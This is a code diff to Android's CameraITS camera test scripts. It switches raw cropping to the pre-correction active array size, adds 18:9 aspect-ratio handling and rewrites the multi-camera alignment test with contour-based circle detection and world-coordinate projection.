Merge "Part 1. of porting remaining DAsm files to Smali in vm-tests-tfConvert" am: ba5c29a84b
am: 60745aacdf
Change-Id: I4449fbbf2d0afee111a0021948fa475d0c28b9f0
diff --git a/apps/CameraITS/pymodules/its/image.py b/apps/CameraITS/pymodules/its/image.py
index 1654faa8..3ea6fa3 100644
--- a/apps/CameraITS/pymodules/its/image.py
+++ b/apps/CameraITS/pymodules/its/image.py
@@ -151,7 +151,7 @@
lsbs = img[::, 4::5].reshape(h,w/4)
lsbs = numpy.right_shift(
numpy.packbits(numpy.unpackbits(lsbs).reshape(h,w/4,4,2),3), 6)
- # Pair the LSB bits group to pixel 0 instead of pixel 3
+ # Pair the LSB bits group to 0th pixel instead of 3rd pixel
lsbs = lsbs.reshape(h,w/4,4)[:,:,::-1]
lsbs = lsbs.reshape(h,w)
# Fuse the MSBs and LSBs back together
@@ -267,8 +267,8 @@
buffer=cap["data"][0:w*h*2])
img = img.astype(numpy.float32).reshape(h,w) / white_level
# Crop the raw image to the active array region.
- if props.has_key("android.sensor.info.activeArraySize") \
- and props["android.sensor.info.activeArraySize"] is not None \
+ if props.has_key("android.sensor.info.preCorrectionActiveArraySize") \
+ and props["android.sensor.info.preCorrectionActiveArraySize"] is not None \
and props.has_key("android.sensor.info.pixelArraySize") \
and props["android.sensor.info.pixelArraySize"] is not None:
# Note that the Rect class is defined such that the left,top values
@@ -277,10 +277,10 @@
# computed as right-left, rather than right-left+1, etc.
wfull = props["android.sensor.info.pixelArraySize"]["width"]
hfull = props["android.sensor.info.pixelArraySize"]["height"]
- xcrop = props["android.sensor.info.activeArraySize"]["left"]
- ycrop = props["android.sensor.info.activeArraySize"]["top"]
- wcrop = props["android.sensor.info.activeArraySize"]["right"]-xcrop
- hcrop = props["android.sensor.info.activeArraySize"]["bottom"]-ycrop
+ xcrop = props["android.sensor.info.preCorrectionActiveArraySize"]["left"]
+ ycrop = props["android.sensor.info.preCorrectionActiveArraySize"]["top"]
+ wcrop = props["android.sensor.info.preCorrectionActiveArraySize"]["right"]-xcrop
+ hcrop = props["android.sensor.info.preCorrectionActiveArraySize"]["bottom"]-ycrop
assert(wfull >= wcrop >= 0)
assert(hfull >= hcrop >= 0)
assert(wfull - wcrop >= xcrop >= 0)
diff --git a/apps/CameraITS/tests/scene1/test_crop_region_raw.py b/apps/CameraITS/tests/scene1/test_crop_region_raw.py
index 8754a8c..26cdc74 100644
--- a/apps/CameraITS/tests/scene1/test_crop_region_raw.py
+++ b/apps/CameraITS/tests/scene1/test_crop_region_raw.py
@@ -12,21 +12,22 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-import its.image
+import os.path
import its.caps
import its.device
+import its.image
import its.objects
import its.target
import numpy
-import os.path
+
+CROP_FULL_ERROR_THRESHOLD = 3 # pixels
+CROP_REGION_ERROR_THRESHOLD = 0.01 # reltol
+DIFF_THRESH = 0.05 # reltol
+NAME = os.path.basename(__file__).split(".")[0]
+
def main():
- """Test that raw streams are not croppable.
- """
- NAME = os.path.basename(__file__).split(".")[0]
-
- DIFF_THRESH = 0.05
- CROP_REGION_ERROR_THRESHOLD = 0.01
+ """Test that raw streams are not croppable."""
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
@@ -36,7 +37,7 @@
not its.caps.mono_camera(props))
# Calculate the active sensor region for a full (non-cropped) image.
- a = props['android.sensor.info.activeArraySize']
+ a = props["android.sensor.info.activeArraySize"]
ax, ay = a["left"], a["top"]
aw, ah = a["right"] - a["left"], a["bottom"] - a["top"]
print "Active sensor region: (%d,%d %dx%d)" % (ax, ay, aw, ah)
@@ -79,10 +80,10 @@
# need to perfectly match the one that was requested.
imgs = {}
for s, cap, cr_expected, err_delta in [
- ("yuv_full",cap1_yuv,full_region,0),
- ("raw_full",cap1_raw,full_region,0),
- ("yuv_crop",cap2_yuv,crop_region,CROP_REGION_ERROR_THRESHOLD),
- ("raw_crop",cap2_raw,crop_region,CROP_REGION_ERROR_THRESHOLD)]:
+ ("yuv_full", cap1_yuv, full_region, CROP_FULL_ERROR_THRESHOLD),
+ ("raw_full", cap1_raw, full_region, CROP_FULL_ERROR_THRESHOLD),
+ ("yuv_crop", cap2_yuv, crop_region, CROP_REGION_ERROR_THRESHOLD),
+ ("raw_crop", cap2_raw, crop_region, CROP_REGION_ERROR_THRESHOLD)]:
# Convert the capture to RGB and dump to a file.
img = its.image.convert_capture_to_rgb_image(cap, props=props)
diff --git a/apps/CameraITS/tests/scene1/test_dng_noise_model.py b/apps/CameraITS/tests/scene1/test_dng_noise_model.py
index 6c11692..c447ae5 100644
--- a/apps/CameraITS/tests/scene1/test_dng_noise_model.py
+++ b/apps/CameraITS/tests/scene1/test_dng_noise_model.py
@@ -51,10 +51,10 @@
white_level = float(props['android.sensor.info.whiteLevel'])
cfa_idxs = its.image.get_canonical_cfa_order(props)
- aax = props['android.sensor.info.activeArraySize']['left']
- aay = props['android.sensor.info.activeArraySize']['top']
- aaw = props['android.sensor.info.activeArraySize']['right']-aax
- aah = props['android.sensor.info.activeArraySize']['bottom']-aay
+ aax = props['android.sensor.info.preCorrectionActiveArraySize']['left']
+ aay = props['android.sensor.info.preCorrectionActiveArraySize']['top']
+ aaw = props['android.sensor.info.preCorrectionActiveArraySize']['right']-aax
+ aah = props['android.sensor.info.preCorrectionActiveArraySize']['bottom']-aay
# Expose for the scene with min sensitivity
sens_min, sens_max = props['android.sensor.info.sensitivityRange']
diff --git a/apps/CameraITS/tests/scene1/test_exposure.py b/apps/CameraITS/tests/scene1/test_exposure.py
index 870dc62..ed469a3 100644
--- a/apps/CameraITS/tests/scene1/test_exposure.py
+++ b/apps/CameraITS/tests/scene1/test_exposure.py
@@ -36,10 +36,10 @@
def get_raw_active_array_size(props):
"""Return the active array w, h from props."""
- aaw = (props['android.sensor.info.activeArraySize']['right'] -
- props['android.sensor.info.activeArraySize']['left'])
- aah = (props['android.sensor.info.activeArraySize']['bottom'] -
- props['android.sensor.info.activeArraySize']['top'])
+ aaw = (props['android.sensor.info.preCorrectionActiveArraySize']['right'] -
+ props['android.sensor.info.preCorrectionActiveArraySize']['left'])
+ aah = (props['android.sensor.info.preCorrectionActiveArraySize']['bottom'] -
+ props['android.sensor.info.preCorrectionActiveArraySize']['top'])
return aaw, aah
diff --git a/apps/CameraITS/tests/scene1/test_multi_camera_match.py b/apps/CameraITS/tests/scene1/test_multi_camera_match.py
index f78dac1..4b23eb0 100644
--- a/apps/CameraITS/tests/scene1/test_multi_camera_match.py
+++ b/apps/CameraITS/tests/scene1/test_multi_camera_match.py
@@ -41,8 +41,7 @@
its.caps.raw16(props) and
its.caps.manual_sensor(props))
ids = its.caps.logical_multi_camera_physical_ids(props)
- s, e, _, _, f = cam.do_3a(get_results=True)
- req = its.objects.manual_capture_request(s, e, f)
+ req = its.objects.auto_capture_request()
max_raw_size = its.objects.get_available_output_sizes('raw', props)[0]
for i in ids:
physical_props = cam.get_camera_properties_by_id(i)
@@ -93,14 +92,6 @@
print 'y1_mean:', y1_mean
print 'y2_mean:', y2_mean
- # assert gain/exp values are near written values
- s_yuv1 = cap_yuv1['metadata']['android.sensor.sensitivity']
- e_yuv1 = cap_yuv1['metadata']['android.sensor.exposureTime']
- msg = 'yuv_gain(write): %d, (read): %d' % (s, s_yuv1)
- assert 0 <= s - s_yuv1 < s * THRESH_GAIN, msg
- msg = 'yuv_exp(write): %.3fms, (read): %.3fms' % (e*1E6, e_yuv1*1E6)
- assert 0 <= e - e_yuv1 < e * THRESH_EXP, msg
-
# compare YUVs
msg = 'y1: %.3f, y2: %.3f, TOL=%.5f' % (y1_mean, y2_mean, THRESH_DIFF)
assert np.isclose(y1_mean, y2_mean, rtol=THRESH_DIFF), msg
diff --git a/apps/CameraITS/tests/scene1/test_raw_burst_sensitivity.py b/apps/CameraITS/tests/scene1/test_raw_burst_sensitivity.py
index 04a3386..b6b0514 100644
--- a/apps/CameraITS/tests/scene1/test_raw_burst_sensitivity.py
+++ b/apps/CameraITS/tests/scene1/test_raw_burst_sensitivity.py
@@ -63,10 +63,10 @@
caps = cam.do_capture(reqs, cam.CAP_RAW)
else:
# Get the active array width and height.
- aax = props["android.sensor.info.activeArraySize"]["left"]
- aay = props["android.sensor.info.activeArraySize"]["top"]
- aaw = props["android.sensor.info.activeArraySize"]["right"]-aax
- aah = props["android.sensor.info.activeArraySize"]["bottom"]-aay
+ aax = props["android.sensor.info.preCorrectionActiveArraySize"]["left"]
+ aay = props["android.sensor.info.preCorrectionActiveArraySize"]["top"]
+ aaw = props["android.sensor.info.preCorrectionActiveArraySize"]["right"]-aax
+ aah = props["android.sensor.info.preCorrectionActiveArraySize"]["bottom"]-aay
# Compute stats on a grid across each image.
caps = cam.do_capture(reqs,
{"format": "rawStats",
diff --git a/apps/CameraITS/tests/scene1/test_raw_exposure.py b/apps/CameraITS/tests/scene1/test_raw_exposure.py
index 8fafe4a..ca59aa8 100644
--- a/apps/CameraITS/tests/scene1/test_raw_exposure.py
+++ b/apps/CameraITS/tests/scene1/test_raw_exposure.py
@@ -12,14 +12,14 @@
# See the License for the specific language governing permissions and
# limitations under the License.
-import its.device
-import its.caps
-import its.objects
-import its.image
import os.path
-import numpy as np
+import its.caps
+import its.device
+import its.image
+import its.objects
from matplotlib import pylab
import matplotlib.pyplot
+import numpy as np
IMG_STATS_GRID = 9 # find used to find the center 11.11%
NAME = os.path.basename(__file__).split(".")[0]
@@ -32,6 +32,7 @@
# slice captures into burst of SLICE_LEN requests
SLICE_LEN = 10
+
def main():
"""Capture a set of raw images with increasing exposure time and measure the pixel values.
"""
@@ -53,12 +54,12 @@
sens_max = props["android.sensor.maxAnalogSensitivity"]
sens_step = (sens_max - sens_min) / NUM_ISO_STEPS
white_level = float(props["android.sensor.info.whiteLevel"])
- black_levels = [its.image.get_black_level(i,props) for i in range(4)]
+ black_levels = [its.image.get_black_level(i, props) for i in range(4)]
# Get the active array width and height.
- aax = props["android.sensor.info.activeArraySize"]["left"]
- aay = props["android.sensor.info.activeArraySize"]["top"]
- aaw = props["android.sensor.info.activeArraySize"]["right"]-aax
- aah = props["android.sensor.info.activeArraySize"]["bottom"]-aay
+ aax = props["android.sensor.info.preCorrectionActiveArraySize"]["left"]
+ aay = props["android.sensor.info.preCorrectionActiveArraySize"]["top"]
+ aaw = props["android.sensor.info.preCorrectionActiveArraySize"]["right"]-aax
+ aah = props["android.sensor.info.preCorrectionActiveArraySize"]["bottom"]-aay
raw_stat_fmt = {"format": "rawStats",
"gridWidth": aaw/IMG_STATS_GRID,
"gridHeight": aah/IMG_STATS_GRID}
@@ -97,14 +98,15 @@
# Measure the mean of each channel.
# Each shot should be brighter (except underexposed/overexposed scene)
- for i,cap in enumerate(caps):
+ for i, cap in enumerate(caps):
if debug:
planes = its.image.convert_capture_to_planes(cap, props)
tiles = [its.image.get_image_patch(p, 0.445, 0.445, 0.11, 0.11) for p in planes]
mean = [m * white_level for tile in tiles
for m in its.image.compute_image_means(tile)]
img = its.image.convert_capture_to_rgb_image(cap, props=props)
- its.image.write_image(img, "%s_s=%d_e=%05d.jpg" % (NAME, s, e_test))
+ its.image.write_image(img, "%s_s=%d_e=%05d.jpg"
+ % (NAME, s, e_test[i]))
else:
mean_image, _ = its.image.unpack_rawstats_capture(cap)
mean = mean_image[IMG_STATS_GRID/2, IMG_STATS_GRID/2]
@@ -113,7 +115,6 @@
s, e_test[i] / 1000000.0, str(mean))
means.append(mean)
-
# means[0] is black level value
r = [m[0] for m in means[1:]]
gr = [m[1] for m in means[1:]]
@@ -124,8 +125,8 @@
pylab.plot(e_test_ms, b, "b.-")
pylab.plot(e_test_ms, gr, "g.-")
pylab.plot(e_test_ms, gb, "k.-")
- pylab.xscale('log')
- pylab.yscale('log')
+ pylab.xscale("log")
+ pylab.yscale("log")
pylab.title("%s ISO=%d" % (NAME, s))
pylab.xlabel("Exposure time (ms)")
pylab.ylabel("Center patch pixel mean")
@@ -139,7 +140,7 @@
if np.isclose(max(mean), white_level, rtol=SATURATION_TOL):
print "Saturated: white_level %f, max_mean %f"% (white_level, max(mean))
- break;
+ break
if allow_under_saturated and np.allclose(mean, black_levels, rtol=BLK_LVL_TOL):
# All channel means are close to black level
diff --git a/apps/CameraITS/tests/scene1/test_raw_sensitivity.py b/apps/CameraITS/tests/scene1/test_raw_sensitivity.py
index 44a3b41..db69e36 100644
--- a/apps/CameraITS/tests/scene1/test_raw_sensitivity.py
+++ b/apps/CameraITS/tests/scene1/test_raw_sensitivity.py
@@ -68,10 +68,10 @@
(NAME, s, var))
else:
# Get the active array width and height.
- aax = props["android.sensor.info.activeArraySize"]["left"]
- aay = props["android.sensor.info.activeArraySize"]["top"]
- aaw = props["android.sensor.info.activeArraySize"]["right"]-aax
- aah = props["android.sensor.info.activeArraySize"]["bottom"]-aay
+ aax = props["android.sensor.info.preCorrectionActiveArraySize"]["left"]
+ aay = props["android.sensor.info.preCorrectionActiveArraySize"]["top"]
+ aaw = props["android.sensor.info.preCorrectionActiveArraySize"]["right"]-aax
+ aah = props["android.sensor.info.preCorrectionActiveArraySize"]["bottom"]-aay
white_level = float(props["android.sensor.info.whiteLevel"])
cap = cam.do_capture(req,
{"format": "rawStats",
diff --git a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
index cf30457..92dfd0d 100644
--- a/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
+++ b/apps/CameraITS/tests/scene4/test_aspect_ratio_and_crop.py
@@ -22,7 +22,7 @@
import numpy as np
FMT_ATOL = 0.01 # Absolute tolerance on format ratio
-AR_CHECKED = ["4:3", "16:9"] # Aspect ratios checked
+AR_CHECKED = ["4:3", "16:9", "18:9"] # Aspect ratios checked
FOV_PERCENT_RTOL = 0.15 # Relative tolerance on circle FoV % to expected
LARGE_SIZE = 2000 # Define the size of a large image
NAME = os.path.basename(__file__).split(".")[0]
@@ -56,30 +56,60 @@
matched entry in AR_CHECKED
"""
match_ar = None
- sensor_size = props["android.sensor.info.activeArraySize"]
+ sensor_size = props["android.sensor.info.preCorrectionActiveArraySize"]
sensor_ar = (float(abs(sensor_size["right"] - sensor_size["left"])) /
abs(sensor_size["bottom"] - sensor_size["top"]))
for ar_string in AR_CHECKED:
if np.isclose(sensor_ar, convert_ar_to_float(ar_string), atol=FMT_ATOL):
match_ar = ar_string
if not match_ar:
- print "Error: no aspect ratio match with sensor parameters!"
+ print "Warning! RAW aspect ratio not in:", AR_CHECKED
return match_ar
-def aspect_ratio_scale_factors(camera_ar_string):
+def aspect_ratio_scale_factors(ref_ar_string, props):
"""Determine scale factors for each aspect ratio to correct cropping.
Args:
- camera_ar_string: camera aspect ratio that is the baseline
+ ref_ar_string: camera aspect ratio that is the reference
+ props: camera properties
Returns:
dict of correction ratios with AR_CHECKED values as keys
"""
- ar_scaling = {}
- camera_ar = convert_ar_to_float(camera_ar_string)
+ ref_ar = convert_ar_to_float(ref_ar_string)
+
+ # find sensor area
+ height_max = 0
+ width_max = 0
for ar_string in AR_CHECKED:
- ar = convert_ar_to_float(ar_string)
- ar_scaling[ar_string] = ar / camera_ar
+ match_ar = [float(x) for x in ar_string.split(":")]
+ try:
+ f = its.objects.get_largest_yuv_format(props, match_ar=match_ar)
+ if f["height"] > height_max:
+ height_max = f["height"]
+ if f["width"] > width_max:
+ width_max = f["width"]
+ except IndexError:
+ continue
+ sensor_ar = float(width_max) / height_max
+
+ # apply scaling
+ ar_scaling = {}
+ for ar_string in AR_CHECKED:
+ target_ar = convert_ar_to_float(ar_string)
+ # scale down to sensor with greater (or equal) dims
+ if ref_ar >= sensor_ar:
+ scaling = sensor_ar / ref_ar
+ else:
+ scaling = ref_ar / sensor_ar
+
+ # scale up due to cropping to other format
+ if target_ar >= sensor_ar:
+ scaling = scaling * target_ar / sensor_ar
+ else:
+ scaling = scaling * sensor_ar / target_ar
+
+ ar_scaling[ar_string] = scaling
return ar_scaling
@@ -95,10 +125,22 @@
ref_fov: dict with [fmt, % coverage, w, h]
"""
ref_fov = {}
- ar = determine_sensor_aspect_ratio(props)
- match_ar = [float(x) for x in ar.split(":")]
- fmt = its.objects.get_largest_yuv_format(props, match_ar=match_ar)
- cap = cam.do_capture(req, fmt)
+ fmt_dict = {}
+
+ # find number of pixels in different formats
+ for ar in AR_CHECKED:
+ match_ar = [float(x) for x in ar.split(":")]
+ try:
+ f = its.objects.get_largest_yuv_format(props, match_ar=match_ar)
+ fmt_dict[f["height"]*f["width"]] = {"fmt": f, "ar": ar}
+ except IndexError:
+ continue
+
+ # use image with largest coverage as reference
+ ar_max_pixels = max(fmt_dict, key=int)
+
+ # capture and determine circle area in image
+ cap = cam.do_capture(req, fmt_dict[ar_max_pixels]["fmt"])
w = cap["width"]
h = cap["height"]
img = its.image.convert_capture_to_rgb_image(cap, props=props)
@@ -106,7 +148,7 @@
img_name = "%s_%s_w%d_h%d.png" % (NAME, "yuv", w, h)
_, _, circle_size = measure_aspect_ratio(img, False, img_name, True)
fov_percent = calc_circle_image_ratio(circle_size[1], circle_size[0], w, h)
- ref_fov["fmt"] = ar
+ ref_fov["fmt"] = fmt_dict[ar_max_pixels]["ar"]
ref_fov["percent"] = fov_percent
ref_fov["w"] = w
ref_fov["h"] = h
@@ -259,16 +301,20 @@
factor_cp_thres = (min(size_raw[0:1])/4.0) / max(circle_size_raw)
thres_l_cp_test = THRESH_L_CP * factor_cp_thres
thres_xs_cp_test = THRESH_XS_CP * factor_cp_thres
+ # If RAW in AR_CHECKED, use it as reference
ref_fov["fmt"] = determine_sensor_aspect_ratio(props)
- ref_fov["percent"] = raw_fov_percent
- ref_fov["w"] = w_raw
- ref_fov["h"] = h_raw
- print "Using RAW reference:", ref_fov
+ if ref_fov["fmt"]:
+ ref_fov["percent"] = raw_fov_percent
+ ref_fov["w"] = w_raw
+ ref_fov["h"] = h_raw
+ print "Using RAW reference:", ref_fov
+ else:
+ ref_fov = find_yuv_fov_reference(cam, req, props)
else:
ref_fov = find_yuv_fov_reference(cam, req, props)
# Determine scaling factors for AR calculations
- ar_scaling = aspect_ratio_scale_factors(ref_fov["fmt"])
+ ar_scaling = aspect_ratio_scale_factors(ref_fov["fmt"], props)
# Take pictures of each settings with all the image sizes available.
for fmt in format_list:
diff --git a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
index b4cd535..4c3c4d9 100644
--- a/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
+++ b/apps/CameraITS/tests/scene4/test_multi_camera_alignment.py
@@ -25,14 +25,58 @@
import numpy as np
-ALIGN_TOL_PERCENT = 1
+ALIGN_TOL_MM = 4.0E-3 # mm
+ALIGN_TOL = 0.01 # multiplied by sensor diagonal to convert to pixels
CHART_DISTANCE_CM = 22 # cm
-CIRCLE_TOL_PERCENT = 10
+CIRCLE_RTOL = 0.1
+GYRO_REFERENCE = 1
NAME = os.path.basename(__file__).split('.')[0]
-ROTATE_REF_MATRIX = np.array([0, 0, 0, 1])
TRANS_REF_MATRIX = np.array([0, 0, 0])
+def convert_to_world_coordinates(x, y, r, t, k, z_w):
+ """Convert x,y coordinates to world coordinates.
+
+ Conversion equation is:
+ A = [[x*r[2][0] - dot(k_row0, r_col0), x*r_[2][1] - dot(k_row0, r_col1)],
+ [y*r[2][0] - dot(k_row1, r_col0), y*r_[2][1] - dot(k_row1, r_col1)]]
+ b = [[z_w*dot(k_row0, r_col2) + dot(k_row0, t) - x*(r[2][2]*z_w + t[2])],
+ [z_w*dot(k_row1, r_col2) + dot(k_row1, t) - y*(r[2][2]*z_w + t[2])]]
+
+ [[x_w], [y_w]] = inv(A) * b
+
+ Args:
+ x: x location in pixel space
+ y: y location in pixel space
+ r: rotation matrix
+ t: translation matrix
+ k: intrinsic matrix
+ z_w: z distance in world space
+
+ Returns:
+ x_w: x in meters in world space
+ y_w: y in meters in world space
+ """
+ c_1 = r[2, 2] * z_w + t[2]
+ k_x1 = np.dot(k[0, :], r[:, 0])
+ k_x2 = np.dot(k[0, :], r[:, 1])
+ k_x3 = z_w * np.dot(k[0, :], r[:, 2]) + np.dot(k[0, :], t)
+ k_y1 = np.dot(k[1, :], r[:, 0])
+ k_y2 = np.dot(k[1, :], r[:, 1])
+ k_y3 = z_w * np.dot(k[1, :], r[:, 2]) + np.dot(k[1, :], t)
+
+ a = np.array([[x*r[2][0]-k_x1, x*r[2][1]-k_x2],
+ [y*r[2][0]-k_y1, y*r[2][1]-k_y2]])
+ b = np.array([[k_x3-x*c_1], [k_y3-y*c_1]])
+ return np.dot(np.linalg.inv(a), b)
+
+
+def convert_to_image_coordinates(p_w, r, t, k):
+ p_c = np.dot(r, p_w) + t
+ p_h = np.dot(k, p_c)
+ return p_h[0] / p_h[2], p_h[1] / p_h[2]
+
+
def rotation_matrix(rotation):
"""Convert the rotation parameters to 3-axis data.
@@ -50,38 +94,172 @@
[2*x*z-2*y*w, 2*y*z+2*x*w, 1-2*x**2-2*y**2]])
+# TODO: merge find_circle() & test_aspect_ratio_and_crop.measure_aspect_ratio()
+# for a unified circle script that is and in pymodules/image.py
def find_circle(gray, name):
- """Find the circle in the image.
+ """Find the black circle in the image.
Args:
- gray: gray scale image array [0,255]
- name: string of file name
+ gray: numpy grayscale array with pixel values in [0,255].
+ name: string of file name.
Returns:
circle: (circle_center_x, circle_center_y, radius)
"""
+ size = gray.shape
+ # otsu threshold to binarize the image
+ _, img_bw = cv2.threshold(np.uint8(gray), 0, 255,
+ cv2.THRESH_BINARY + cv2.THRESH_OTSU)
+ # connected component
cv2_version = cv2.__version__
- try:
- if cv2_version.startswith('2.4.'):
- circle = cv2.HoughCircles(gray, cv2.cv.CV_HOUGH_GRADIENT,
- 1, 20)[0][0]
- elif cv2_version.startswith('3.2.'):
- circle = cv2.HoughCircles(gray, cv2.HOUGH_GRADIENT,
- 1, 20)[0][0]
- except TypeError:
- circle = None
- its.image.write_image(gray[..., np.newaxis]/255.0, name)
- assert circle is not None, 'No circle found!'
- return circle
+ if cv2_version.startswith('2.4.'):
+ contours, hierarchy = cv2.findContours(255-img_bw, cv2.RETR_TREE,
+ cv2.CHAIN_APPROX_SIMPLE)
+ elif cv2_version.startswith('3.2.'):
+ _, contours, hierarchy = cv2.findContours(255-img_bw, cv2.RETR_TREE,
+ cv2.CHAIN_APPROX_SIMPLE)
+
+ # Check each component and find the black circle
+ min_cmpt = size[0] * size[1] * 0.005
+ max_cmpt = size[0] * size[1] * 0.35
+ num_circle = 0
+ for ct, hrch in zip(contours, hierarchy[0]):
+ # The radius of the circle is 1/3 of the length of the square, meaning
+ # around 1/3 of the area of the square
+ # Parental component should exist and the area is acceptable.
+ # The contour of a circle should have at least 5 points
+ child_area = cv2.contourArea(ct)
+ if (hrch[3] == -1 or child_area < min_cmpt or child_area > max_cmpt
+ or len(ct) < 15):
+ continue
+ # Check the shapes of current component and its parent
+ child_shape = component_shape(ct)
+ parent = hrch[3]
+ prt_shape = component_shape(contours[parent])
+ prt_area = cv2.contourArea(contours[parent])
+ dist_x = abs(child_shape['ctx']-prt_shape['ctx'])
+ dist_y = abs(child_shape['cty']-prt_shape['cty'])
+ # 1. 0.56*Parent's width < Child's width < 0.76*Parent's width.
+ # 2. 0.56*Parent's height < Child's height < 0.76*Parent's height.
+ # 3. Child's width > 0.1*Image width
+ # 4. Child's height > 0.1*Image height
+ # 5. 0.25*Parent's area < Child's area < 0.45*Parent's area
+ # 6. Child is a black, and Parent is white
+ # 7. Center of Child and center of parent should overlap
+ if (prt_shape['width'] * 0.56 < child_shape['width']
+ < prt_shape['width'] * 0.76
+ and prt_shape['height'] * 0.56 < child_shape['height']
+ < prt_shape['height'] * 0.76
+ and child_shape['width'] > 0.1 * size[1]
+ and child_shape['height'] > 0.1 * size[0]
+ and 0.30 * prt_area < child_area < 0.50 * prt_area
+ and img_bw[child_shape['cty']][child_shape['ctx']] == 0
+ and img_bw[child_shape['top']][child_shape['left']] == 255
+ and dist_x < 0.1 * child_shape['width']
+ and dist_y < 0.1 * child_shape['height']):
+ # Calculate circle center and size
+ circle_ctx = float(child_shape['ctx'])
+ circle_cty = float(child_shape['cty'])
+ circle_w = float(child_shape['width'])
+ circle_h = float(child_shape['height'])
+ num_circle += 1
+ # If more than one circle found, break
+ if num_circle == 2:
+ break
+ its.image.write_image(gray[..., np.newaxis]/255.0, name)
+
+ if num_circle == 0:
+ print 'No black circle was detected. Please take pictures according',
+ print 'to instruction carefully!\n'
+ assert num_circle == 1
+
+ if num_circle > 1:
+ print 'More than one black circle was detected. Background of scene',
+ print 'may be too complex.\n'
+ assert num_circle == 1
+ return (circle_ctx, circle_cty, (circle_w+circle_h)/4.0)
+
+
+def component_shape(contour):
+ """Measure the shape of a connected component.
+
+ Args:
+ contour: return from cv2.findContours. A list of pixel coordinates of
+ the contour.
+
+ Returns:
+ The most left, right, top, bottom pixel location, height, width, and
+ the center pixel location of the contour.
+ """
+ shape = {'left': np.inf, 'right': 0, 'top': np.inf, 'bottom': 0,
+ 'width': 0, 'height': 0, 'ctx': 0, 'cty': 0}
+ for pt in contour:
+ if pt[0][0] < shape['left']:
+ shape['left'] = pt[0][0]
+ if pt[0][0] > shape['right']:
+ shape['right'] = pt[0][0]
+ if pt[0][1] < shape['top']:
+ shape['top'] = pt[0][1]
+ if pt[0][1] > shape['bottom']:
+ shape['bottom'] = pt[0][1]
+ shape['width'] = shape['right'] - shape['left'] + 1
+ shape['height'] = shape['bottom'] - shape['top'] + 1
+ shape['ctx'] = (shape['left']+shape['right'])/2
+ shape['cty'] = (shape['top']+shape['bottom'])/2
+ return shape
+
+
+def define_reference_camera(pose_reference, cam_reference):
+ """Determine the reference camera.
+
+ Args:
+ pose_reference: 0 for cameras, 1 for gyro
+ cam_reference: dict with key of physical camera and value True/False
+ Returns:
+ i_ref: physical id of reference camera
+ i_2nd: physical id of secondary camera
+ """
+
+ if pose_reference == GYRO_REFERENCE:
+ print 'pose_reference is GYRO'
+ i_ref = list(cam_reference.keys())[0] # pick first camera as ref
+ i_2nd = list(cam_reference.keys())[1]
+ else:
+ print 'pose_reference is CAMERA'
+ i_ref = (k for (k, v) in cam_reference.iteritems() if v).next()
+ i_2nd = (k for (k, v) in cam_reference.iteritems() if not v).next()
+ return i_ref, i_2nd
def main():
- """Test the multi camera system parameters related to camera spacing."""
+ """Test the multi camera system parameters related to camera spacing.
+
+ Using the multi-camera physical cameras, take a picture of scene4
+ (a black circle and surrounding square on a white background) with
+ one of the physical cameras. Then find the circle center. Using the
+ parameters:
+ android.lens.poseReference
+ android.lens.poseTranslation
+ android.lens.poseRotation
+ android.lens.instrinsicCalibration
+ android.lens.distortion (if available)
+ project the circle center to the world coordinates for each camera.
+ Compare the difference between the two cameras' circle centers in
+ world coordinates.
+
+ Reproject the world coordinates back to pixel coordinates and compare
+ against originals as a sanity check.
+
+ Compare the circle sizes if the focal lengths of the cameras are
+ different using
+ android.lens.availableFocalLengths.
+ """
chart_distance = CHART_DISTANCE_CM
for s in sys.argv[1:]:
if s[:5] == 'dist=' and len(s) > 5:
chart_distance = float(re.sub('cm', '', s[5:]))
print 'Using chart distance: %.1fcm' % chart_distance
+ chart_distance *= 1.0E-2
with its.device.ItsSession() as cam:
props = cam.get_camera_properties()
@@ -92,6 +270,7 @@
its.caps.manual_sensor(props))
debug = its.caps.debug_mode()
avail_fls = props['android.lens.info.availableFocalLengths']
+ pose_reference = props['android.lens.poseReference']
max_raw_size = its.objects.get_available_output_sizes('raw', props)[0]
w, h = its.objects.get_available_output_sizes(
@@ -100,6 +279,7 @@
# Do 3A and get the values
s, e, _, _, fd = cam.do_3a(get_results=True,
lock_ae=True, lock_awb=True)
+ e *= 2 # brighten RAW images
req = its.objects.manual_capture_request(s, e, fd, True, props)
# get physical camera properties
@@ -117,15 +297,14 @@
size_raw = {}
k = {}
- reference = {}
- rotation = {}
- trans = {}
+ cam_reference = {}
+ r = {}
+ t = {}
circle = {}
fl = {}
sensor_diag = {}
- point = {}
for i in ids:
- print 'Starting camera %s' % i
+ print 'Camera %s' % i
# process image
img_raw = its.image.convert_capture_to_rgb_image(
cap_raw[i], props=props)
@@ -149,94 +328,122 @@
[0, 0, 1]])
print ' k:', k[i]
- rotation[i] = np.array(props_physical[i]['android.lens.poseRotation'])
- print ' rotation:', rotation[i]
- assert len(rotation[i]) == 4, 'poseRotation has wrong # of params.'
- trans[i] = np.array(
- props_physical[i]['android.lens.poseTranslation'])
- print ' translation:', trans[i]
- assert len(trans[i]) == 3, 'poseTranslation has wrong # of params.'
- if ((rotation[i] == ROTATE_REF_MATRIX).all() and
- (trans[i] == TRANS_REF_MATRIX).all()):
- reference[i] = True
+ rotation = np.array(props_physical[i]['android.lens.poseRotation'])
+ print ' rotation:', rotation
+ assert len(rotation) == 4, 'poseRotation has wrong # of params.'
+ r[i] = rotation_matrix(rotation)
+
+ t[i] = np.array(props_physical[i]['android.lens.poseTranslation'])
+ print ' translation:', t[i]
+ assert len(t[i]) == 3, 'poseTranslation has wrong # of params.'
+ if (t[i] == TRANS_REF_MATRIX).all():
+ cam_reference[i] = True
else:
- reference[i] = False
+ cam_reference[i] = False
+
+ # API spec defines poseTranslation as the world coordinate p_w_cam of
+ # optics center. When applying [R|t] to go from world coordinates to
+ # camera coordinates, we need -R*p_w_cam of the coordinate reported in
+ # metadata.
+ # ie. for a camera with optical center at world coordinate (5, 4, 3)
+ # and identity rotation, to convert a world coordinate into the
+ # camera's coordinate, we need a translation vector of [-5, -4, -3]
+ # so that: [I|[-5, -4, -3]^T] * [5, 4, 3]^T = [0,0,0]^T
+ t[i] = -1.0 * np.dot(r[i], t[i])
+ if debug:
